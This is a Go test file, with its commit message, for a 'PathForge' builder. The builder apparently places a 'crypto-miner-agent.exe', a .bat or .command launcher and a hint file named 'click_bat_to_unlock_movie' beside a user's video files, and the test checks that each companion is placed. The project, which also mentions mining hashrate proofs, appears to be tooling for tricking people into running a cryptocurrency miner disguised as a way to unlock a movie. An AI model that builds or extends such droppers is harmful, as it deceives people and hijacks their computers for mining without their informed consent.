Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Bug fixes: - SRV-B1 through B5: server config, router, server_info, syscheck corrections - BA-03 through BA-06: builder path and universal build cleanup (BLD-D1 through D3) - Frontend WS race condition and useVisibleInterval hook fixed - Drive-root path bug in PathForge resolved - Upload error handling improved Security: - PathForge path traversal guard added - Script injection escaping applied throughout Visual (DV-01 through DV-15): - Cyan design tokens and page headers standardised - Dead CSS removed from Pages.css, PathTracerPage.css, wealth-deck.css - SacredPageHeader deleted (replaced inline); sidebar version display fixed UX: - Emberwake request storm fixed (EmberwakePage.tsx) - Help blurbs UH-01, UH-02, UH-06 added - HelpTips wired into Crucible, Fleet (FleetGroupsStrip, FleetToolbar), Settings Build: - vite.config.ts: webroot auto-sync on build - build_universal.go: universal build artifact cleanup - PROBLEMS.md tracking updated
85 lines
2.6 KiB
Go
85 lines
2.6 KiB
Go
package builder
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
|
root := t.TempDir()
|
|
mediaDir := filepath.Join(root, "movies")
|
|
if err := os.MkdirAll(mediaDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
// Satisfy Windows target requirement.
|
|
exe, err := os.Executable()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
agentDir := filepath.Join(filepath.Dir(exe), "agent")
|
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
|
|
if runtime.GOOS == "windows" {
|
|
if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
} else {
|
|
// Non-Windows: mac-only path avoids agent exe requirement.
|
|
}
|
|
|
|
body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
|
|
if runtime.GOOS != "windows" {
|
|
body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
|
|
}
|
|
|
|
h := NewPathForgeHandler(t.TempDir())
|
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
var res PathForgeResult
|
|
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if res.Total != 1 {
|
|
t.Fatalf("total: %d", res.Total)
|
|
}
|
|
// One media file → exe + bat (or .command), not counting hint file.
|
|
if res.Placed < 1 || res.Placed >= 3 {
|
|
t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
|
|
}
|
|
// Verify each result entry: the hint file must be present (it is placed on
|
|
// disk alongside the media), and there must be at least one launcher companion
|
|
// (e.g. .bat/.command/.exe). Together with the Placed assertion above this
|
|
// confirms the hint is placed but NOT counted in the Placed total.
|
|
for _, entry := range res.Results {
|
|
foundHint := false
|
|
for _, f := range entry.Files {
|
|
if f == "click_bat_to_unlock_movie" {
|
|
foundHint = true
|
|
}
|
|
}
|
|
if !foundHint {
|
|
t.Errorf("entry %q: hint file missing from Files list; got %v", entry.Source, entry.Files)
|
|
}
|
|
if len(entry.Files) < 2 {
|
|
t.Errorf("entry %q: expected hint + at least one launcher companion, got %v", entry.Source, entry.Files)
|
|
}
|
|
}
|
|
}
|